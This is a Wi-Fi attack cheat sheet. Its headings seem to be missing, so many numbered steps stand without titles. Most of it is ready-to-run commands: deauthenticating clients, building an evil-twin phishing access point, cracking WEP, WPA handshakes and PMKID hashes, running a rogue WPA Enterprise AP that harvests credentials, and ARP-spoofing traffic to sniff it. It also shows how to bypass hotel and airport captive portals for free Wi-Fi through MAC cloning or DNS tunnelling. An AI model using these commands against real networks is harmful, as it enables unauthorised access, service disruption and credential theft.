VARIABLE=value

iwconfig $IFACE

ifconfig $IFACE

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

1. Set monitor mode

2. Run Airodump-ng-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

1. Only one client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. An Access Point (= all the clients in the AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

1. List networks

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

2. Deauthenticate

In another terminal, deauthenticate a client or all of them. When Airodump-ng captures a handshake from this network, the name or ESSID will appear in the first terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

1. Clone a website using HTTrack

2. Install Wifiphiser. Add the HTTrack result in a new folder in wifiphisher/data/phishing-pages/new_page/html and a configuration file in wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompile the project using python setup.py install or the binary in bin.

4. This command works correctly in the latest Kali release after installing hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

The first method to bypass a captive portal is to change your MAC address to one of an already authenticated user

1. Scan the network and get the list of IP and MAC addresses. You can use:

• nmap

• A custom script like this (Bash) or this (Python)

2. Change your IP and MAC addresses. You can use:

• macchanger

• A custom script like this(Bash)

Also, you can use scripts to automate the process like:

• Poliva script

• Hackcaptiveportals

A second method is creating a DNS tunnel. For this, it is necessary to have an accessible DNS server of your own. You can use this method to bypass the captive portal and get "free" Wifi in hotel, airports...

1. Check the domain names are resolved:

nslookup example.com

2. Create 2 DNS records (in Digital ocean, Afraid.org...):

• One "A record": dns.$DOMAIN pointing to the $SERVER_IP (Example: dns.domain.com 139.59.172.117)

• One "NS record": hack.$DOMAIN pointing to dns.$DOMAIN (Example: hack.domain.com dns.domain.com)

3. Execution in the server

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Check if it works correctly in here

5. Execution in the client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Create the tunnel

ssh -D 8080 [email protected]

Once you are in the network, you can test if it is vulnerable to Man in the Middle attacks.

1. ARP Spoofing attack using Ettercap

2. Sniff the traffic using Wireshark or TCPdump

3. Analyze the traffic using PCredz (Linux) or Network Miner (Windows)

1. Start capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Accelerate the IV capture using Fake authentication + Arp Request Replay Attack + Deauthenticate user. Stop Airodump at ~100.000 different IVs

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Crack the password using Aircrack-ng

aircrack-ng $PCAP_FILE

1. Start capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Deauthenticate an user. Stop airodump capture when you see a message 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Option 1: Crack the handshake using Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

You can get wordlists from here.

4. Option 2: Crack the handshake using Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

You can use this script or follow these steps:

1. Install Hcxdumptool and Hcxtool (you can use this script).

2. Stop Network Manager

airmon-ng check kill

3a. If you want to attack all the networks

TO DO

3b. If you want to attack a specific MAC address

• Create a text file ($FILTER_FILE) and add the MAC address without ":". You can use sed and redirect the output to a file:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capture PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Create $HASH_FILE

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

The structure of each line is: PMKID * ROUTER MAC * STATION * ESSID (check at: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Crack it using Hashcat (option 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

In case you do not want to use the virtual machine, you can install everything using:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Start the Access Point using:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

When a client connects, read logs with:

sh freeradius_wpe_read.sh

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

• Airhammer

Find supported EAP methods

• EAP_buster

• Krack Attack Scripts

• Wigle

• Wifijammer - This program can send deauthentication packets to both APs and clients.

An example to deauthenticate all the devices except a Fake Acess Point:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

Linux:

• Sniffair
• Wifi Pumpkin - Framework for Rogue WiFi Access Point Attack
• Eaphammer - Framework for Fake Access Points

Windows:

• Acrylic - Useful for recon phase
• Ekahau - Useful for Wi-Fi planning
• Vistumbler - Useful for wardriving

Once you are connected to the network

• Routersploit - Exploitation Framework for Embedded Devices - Test "use scanners/autopwn"

• Nmap/Zenmap - Security Scanner, Port Scanner, & Network Exploration Tool

• Masscan - The faster version of nmap (it can break things, so be careful)

• Netdiscover - ARP sniffing. Very useful if the networks are very well segmented

• Ettercap - Check if you can do a MitM attack and sniff all the traffic in the network
